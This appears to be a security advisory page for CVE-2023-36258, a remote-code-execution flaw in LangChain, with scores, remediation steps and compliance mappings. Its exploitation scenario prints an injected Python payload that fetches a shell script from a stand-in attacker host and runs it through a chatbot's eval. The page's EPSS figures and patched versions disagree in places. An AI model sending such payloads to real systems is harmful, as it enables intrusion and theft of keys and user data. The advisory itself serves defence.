CVE-2023-36258: LangChain: unauthenticated RCE via code injection

GHSA-2qmj-7962-cjq8 CRITICAL PoC AVAILABLE CISA: ATTEND
Published July 3, 2023
CISO Take

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

What is the risk?

Severity is maximal: CVSS 9.8, network-accessible, zero privileges, zero user interaction, full confidentiality/integrity/availability impact. EPSS is low (0.49%) but this is a well-documented, public exploit with GitHub PoC. LangChain's widespread adoption in LLM apps, agents, and RAG systems means the blast radius is broad. Any org that built AI tooling in 2023 and hasn't audited dependency versions is likely exposed.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
LangChain pip No patch
139.8K OpenSSF 5.9 2.7K dependents Pushed 4d ago 24% patched ~156d to patch Full package profile →
LangChain pip < 0.0.247 0.0.247
139.8K OpenSSF 5.9 2.7K dependents Pushed 4d ago 24% patched ~156d to patch Full package profile →

How severe is it?

CVSS 3.1
9.8 / 10
EPSS
1.0%
chance of exploitation in 30 days
Higher than 58% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

7 steps
  1. Patch: upgrade langchain to >=0.0.247 immediately.

  2. Audit: run pip show langchain across all environments including dev, staging, CI/CD.

  3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root.

  4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required.

  5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes.

  6. Network: block outbound connections from LangChain processes unless explicitly needed.

  7. Rotate credentials if pre-patch deployments processed external input.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2 - AI risk treatment A.8.5 - AI system security
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain oversight of AI risks MAP 5.1 - Likelihood and magnitude of risks from third-party AI
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2023-36258?

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

Is CVE-2023-36258 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2023-36258, increasing the risk of exploitation.

How to fix CVE-2023-36258?

1. Patch: upgrade langchain to >=0.0.247 immediately. 2. Audit: run `pip show langchain` across all environments including dev, staging, CI/CD. 3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root. 4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required. 5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes. 6. Network: block outbound connections from LangChain processes unless explicitly needed. 7. Rotate credentials if pre-patch deployments processed external input.

What systems are affected by CVE-2023-36258?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, LLM application backends, chatbot systems, training pipelines.

What is the CVSS score for CVE-2023-36258?

CVE-2023-36258 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.98%.

What is the AI security impact?

Affected AI Architectures

agent frameworksRAG pipelinesLLM application backendschatbot systemstraining pipelines

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0049 Exploit Public-Facing Application
AML.T0050 Command and Scripting Interpreter
AML.T0053 AI Agent Tool Invocation
AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: A.6.2, A.8.5
NIST AI RMF: MANAGE 2.2, MAP 5.1
OWASP LLM Top 10: LLM05, LLM07

What are the technical details?

Original Advisory

An issue in LangChain before 0.0.236 allows an attacker to execute arbitrary code because Python code with os.system, exec, or eval can be used.

Exploitation Scenario

An attacker targeting a company's LLM-powered customer support chatbot (built on LangChain pre-0.0.236) crafts a query containing Python-executable syntax such as `__import__('os').system('curl attacker.com/shell.sh | bash')`. The input is passed unsanitized into a LangChain chain that internally calls eval() or exec() to process the expression. The OS command executes with the privileges of the LangChain server process, giving the attacker a reverse shell. From there they extract the OpenAI API key, Pinecone/Weaviate credentials, and any PII stored in the RAG database—all without authentication.

Weaknesses (CWE)

CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

  • [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
  • [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
July 3, 2023
Last Modified
November 22, 2024
First Seen
July 3, 2023

Related Vulnerabilities